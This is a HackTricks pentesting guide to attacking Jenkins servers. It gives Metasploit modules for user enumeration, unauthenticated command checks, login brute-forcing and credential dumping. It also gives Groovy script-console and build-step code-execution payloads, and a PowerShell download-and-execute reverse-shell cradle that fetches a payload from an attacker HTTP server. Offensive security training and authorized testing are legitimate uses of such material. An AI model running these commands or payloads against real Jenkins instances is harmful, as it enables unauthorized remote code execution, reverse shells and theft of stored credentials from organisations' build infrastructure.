hacktricks/pentesting/pentesting-web/jenkins.md

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# Jenkins
## Enumeration
In order to search for interesting Jenkins pages without authentication like \(_/people_ or _/asynchPeople_, this lists the current users\) you can use:
```text
msf> use auxiliary/scanner/http/jenkins_enum
```
Check if you can execute commands without needing authentication:
```text
msf> use auxiliary/scanner/http/jenkins_command
```
Without credentials you can look inside _**/asynchPeople/**_ path for **usernames**.
## Bruteforce
**Jekins** does **not** implement any **password policy** or username **brute-force mitigation**. Then, you **should** always try to **brute-force** users because probably **weak passwords** are being used \(even **usernames as passwords** or **reverse** usernames as passwords\).
```text
msf> use auxiliary/scanner/http/jenkins_login
```
## Exploiting Vulnerabilities
{% embed url="https://github.com/gquere/pwn\_jenkins" %}
## Code Execution
There are 3 ways to get **code execution** with Jenkins.
### **Create a new project**
This method is very noisy because you have to create a hole new project \(obviously this will only work if you user is allowed to create a new project\).
1. Create a new project \(Freestyle project\)
2. Inside **Build** section set **Execute shell** and paste a powershell Empire launcher or a meterpreter powershell \(can be obtained using _unicorn_\). Start the payload with _PowerShell.exe_ instead using _powershell._
3. Click **Build now**
\*\*\*\*
Go to the projects and check **if you can configure any** of them \(look for the "Configure button"\):
![](../../.gitbook/assets/image%20%28228%29.png)
Or **try to access to the path** _**/configure**_ in each project \(example: /_me/my-views/view/all/job/Project0/configure_\).
If you are allowed to configure the project you can **make it execute commands when a build is successful**:
![](../../.gitbook/assets/image%20%2887%29.png)
Click on **Save** and **build** the project and your **command will be executed**.
If you are not executing a reverse shell but a simple command you can **see the output of the command inside the output of the build**.
### **Execute Groovy script**
Best way. Less noisy.
1. Go to _path\_jenkins/script_
2. Inside the text box introduce the script
```python
def process = "PowerShell.exe <WHATEVER>".execute()
println "Found text ${process.text}"
```
You could execute a command using: `cmd.exe /c dir`
In **linux** you can do: **`"ls /".execute().text`**
If you need to use _quotes_ and _single quotes_ inside the text. You can use _"""PAYLOAD"""_ \(triple double quotes\) to execute the payload.
**Another useful groovy script** is \(replace \[INSERT COMMAND\]\):
```python
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
```
### Reverse shell in windows
You can prepare a HTTP server with a PS reverse shell and use Jeking to download and execute it:
```python
scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>
```
### MSF exploit
You can use MSF to get a reverse shell:
```text
msf> use exploit/multi/http/jenkins_script_console
```
## POST
Dump Jenkins credentials using:
```text
msf> post/multi/gather/jenkins_gather
```
## References
{% embed url="https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/" %}
{% embed url="https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password" %}